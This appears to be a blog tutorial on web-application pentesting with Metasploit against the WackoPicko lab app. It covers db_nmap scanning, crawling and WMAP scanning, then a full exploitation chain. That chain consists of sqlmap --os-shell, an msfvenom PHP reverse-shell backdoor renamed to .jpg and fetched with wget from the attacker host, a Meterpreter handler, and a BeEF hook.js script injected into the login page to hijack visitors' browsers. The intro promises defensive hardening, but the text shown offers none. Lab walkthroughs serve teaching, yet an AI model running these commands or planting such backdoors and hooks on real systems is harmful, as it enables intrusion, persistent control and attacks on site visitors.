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Learn how security pros use Metasploit ethically — authorized pen-testing workflows, defensive checks, and website hardening steps to reduce real vulnerabilities.

Normally, a penetration tester or hacker uses Metasploit to exploit vulnerable services in a target server or to create a payload to set up a backdoor on a compromised system. Nevertheless, Metasploit has evolved with many plugins and modules, and now it can do much more than that. Today, it can also be used to pentest web applications effectively.

In this article, I will show you how to use Metasploit for scanning a web server to gather information and how to use Metasploit for vulnerability assessment of a web application.

Scenario

In this article, we will simulate an attack on a client using a vulnerable server. Below are the details of the setup:

Attacker Machine – Backtrack 5 R3 – 192.168.1.137
Target Machine – WackoPicko web application (included in OWASP Broken Web Application v1.0) – 192.168.1.138

Scanning Phase

When attempting to hack a server, the first step is to gather as much information about the target as possible. Therefore, the first action is to scan the server.

Metasploit includes a module called db_nmap, which runs Nmap (one of the most popular scanning tools). The results obtained from Nmap are automatically stored in Metasploit’s database for later use.

Follow these steps to perform the scan:

Open the Metasploit console root@bt:/# msfconsole
Run db_nmap with the target’s IP address
msf > db_nmap [*] Usage: db_nmap [nmap options]

This will execute Nmap from within Metasploit and record the results in the database, making it easier to analyze the target during the penetration test.

After running the initial db_nmap scan, we can proceed to analyze the results.

1. Check Scanning Results with `hosts`

msf > hosts -h
msf > hosts

2. View Detailed Services with `services`

The services command provides details such as created_at, info, name, port, proto, state, updated_at.

msf > services -h
msf > services
msf > services -c port,name,state

From the results, we can confirm that the target server has a running web service.

Discover: Mastering Metasploit: The Ultimate Cheat Sheet for Exploit Development, Post-Exploitation, and More

Crawling the Website

Metasploit also has a module to crawl websites and gather information.

1. Select the Crawler Module

msf > use auxiliary/scanner/http/crawler

2. Set the Target (RHOST)

msf auxiliary(crawler) > set RHOST 192.168.77.138

Since we are focusing on the WackoPicko web application, we specify its URI:

msf auxiliary(crawler) > set URI /WackoPicko/

3. Run the Crawler

msf auxiliary(crawler) > run

From this phase, you will gather both server and web application information, which will be useful in the next phase—Exploitation.

Exploit Phase

In this phase, we will use Metasploit’s vulnerability scanning modules and combine them with other attack tools.

WMAP Plugin

WMAP is a general-purpose web application scanning framework for Metasploit 3. Its architecture is simple yet powerful. Unlike other scanners, WMAP is not built around a browser or spider for data capture—it integrates directly into Metasploit.

We will use WMAP to perform automated vulnerability scanning.

Steps for WMAP Scanning

1. Load WMAP Modules

msf auxiliary(crawler) > load wmap

2. List Web Application Sites

Since we already crawled the web application, WMAP can use that information from the database.

msf auxiliary(crawler) > wmap_sites
msf auxiliary(crawler) > wmap_sites -l

3. View Structure of Web Application

msf auxiliary(crawler) > wmap_sites -s [target_id]

Example:

msf auxiliary(crawler) > wmap_sites -s 0

4. Specify Target for Scanning

msf auxiliary(crawler) > wmap_targets
msf auxiliary(crawler) > wmap_targets -t

5. Run Automated Vulnerability Scan

msf auxiliary(crawler) > wmap_run
msf auxiliary(crawler) > wmap_run -e

6. Check Vulnerability Scan Results

msf auxiliary(crawler) > wmap_vulns -l

Results

From the scan results, we discover several vulnerabilities in the WackoPicko web application, such as:

Sensitive files or directories
Admin directory exposure
Backup directory exposure
SQL Injection vulnerabilities

These findings give penetration testers potential attack vectors to exploit further

SQL Injection with Metasploit

If you want to test whether a parameter is vulnerable to SQL Injection, you can use Metasploit modules. In this example, we will use the auxiliary/scanner/http/blind_sql_query module.

Step 1: Identify the Vulnerable Page

From the WMAP scan, we discovered that:

http://192.168.77.138/WackoPicko/users/login.php

has a SQL Injection vulnerability with two parameters: username and password.

We will test the username parameter using the SQL Injection module.

msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options

Step 2: Configure the Target Environment

msf auxiliary(blind_sql_query) > set DATA username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST
msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138

Step 3: Run the Test

msf auxiliary(blind_sql_query) > run

The result shows that the username parameter is vulnerable to SQL Injection.

You can also test other SQL Injection methods, such as Error-Based Injection, with:

msf > use auxiliary/scanner/http/error_sql_injection

sqlmap">Exploiting the SQL Injection with SQLMap

Now that we know the username parameter of users/login.php is vulnerable, we can exploit it using SQLMap, a powerful SQL Injection tool that works well with Metasploit.

1. SQLMap Options We Will Use

-u → Target URL
--data → Data string for POST request
--random-agent → Use a random User-Agent header
--os-shell → Attempt to gain an interactive OS shell

2. Run SQLMap Command

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.77.138/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell

SQLMap Output (Summary):

Detected MySQL 5 on Linux Ubuntu 10.04
Web tech: PHP 5.3.2, Apache 2.2.14
Injection points confirmed (username parameter)
SQLMap attempted to upload a backdoor PHP shell into /var/www/WackoPicko/users/

Step 4: Creating a Backdoor with Metasploit (msfvenom)

Once inside, we can generate a reverse TCP backdoor with msfvenom:

root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 -f raw > /var/www/bd.php
root@bt:~# mv /var/www/bd.php /var/www/bd.jpg

Step 5: Upload Backdoor from Target Shell

Inside the SQLMap OS shell:

os-shell> wget http://192.168.77.137/bd.jpg
os-shell> mv bd.jpg bd.php

Step 6: Start Metasploit Handler

Set up a handler to wait for the reverse shell connection:

root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 E

Metasploit will start listening for incoming connections.

Step 7: Trigger the Backdoor

Finally, execute the backdoor via browser:

http://192.168.77.138/WackoPicko/users/bd.php

Metasploit console output:

[*] Started reverse handler on 192.168.77.137:443
[*] Sending stage (39217 bytes) to 192.168.77.138
[*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757)

Now you have a Meterpreter session on the target machine, which gives you complete control. From here, you can upload files, escalate privileges, pivot to other systems, and much more.

Metasploit with BeEF Plugin

The final part of this article demonstrates how to integrate Metasploit with BeEF (Browser Exploitation Framework).

So, what is BeEF?

BeEF hooks one or more web browsers as beachheads for launching directed command modules. Each browser may exist in a different security context, and each context may provide a set of unique attack vectors.

By combining BeEF with Metasploit, penetration testers can exploit browser sessions of clients visiting a compromised page.

Step 1: Run BeEF Service

root@bt:/pentest/web/beef# ./beef -x -v

Step 2: Download BeEF Plugin for Metasploit

$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git

Output:

Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git/

Step 3: Move Plugin Files

root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/

Step 4: Install Required Gems

root@bt:/pentest/exploits/framework/msf3# gem install hpricot json

Step 5: Load BeEF Plugin in Metasploit

msf > load beef

Step 6: Connect to BeEF

msf > beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef

Step 7: Inject BeEF Hook into Target Page

From the SQLMap exploitation phase, we already had a Meterpreter shell. Now, download the vulnerable login.php page, inject the BeEF hook, and re-upload it:

meterpreter > download login.php .
[*] downloading: login.php -> ./login.php
[*] downloaded : login.php -> ./login.php

root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >> login.php

meterpreter > upload login.php .
[*] uploading : login.php -> .
[*] uploaded : login.php -> ./login.php

Now, whenever a victim visits the login page, the BeEF hook will execute.

Step 8: Access BeEF Management Interface

Open the BeEF control panel:

http://127.0.0.1:3000/ui/panel

Username: beef
Password: beef

Step 9: Monitor Victims

When a victim visits the infected login.php page, BeEF will detect it.

Victims are listed in the left panel.
Victim details appear in the right panel once selected.

You can also monitor victims from Metasploit:

msf > beef_online

To see details of a victim:

msf > beef_target
msf > beef_target -i 0

Step 10: Run BeEF Commands

To run BeEF modules against a victim:

msf > beef_target -c 0

For example, BeEF may launch a “Man-In-The-Browser” command against the hooked victim.

Conclusion

Now you know that Metasploit can be used for much more than just exploiting servers. It can perform:

Scanning with db_nmap
Crawling and Vulnerability Assessment with WMAP
SQL Injection Testing with Metasploit modules and SQLMap
Client-Side Exploitation with the BeEF plugin

However, Metasploit also has limitations:

It cannot directly test all vulnerability types, such as Cross-Site Scripting (XSS) or Remote File Inclusion (RFI).
But it can integrate with tools like BeEF for client-side attacks, or generate payloads for RFI.

In the future, Metasploit may expand to cover more vulnerabilities natively.

If you are beginning in penetration testing, Metasploit is the perfect starting point to learn about the attack surface of web applications and computer systems.

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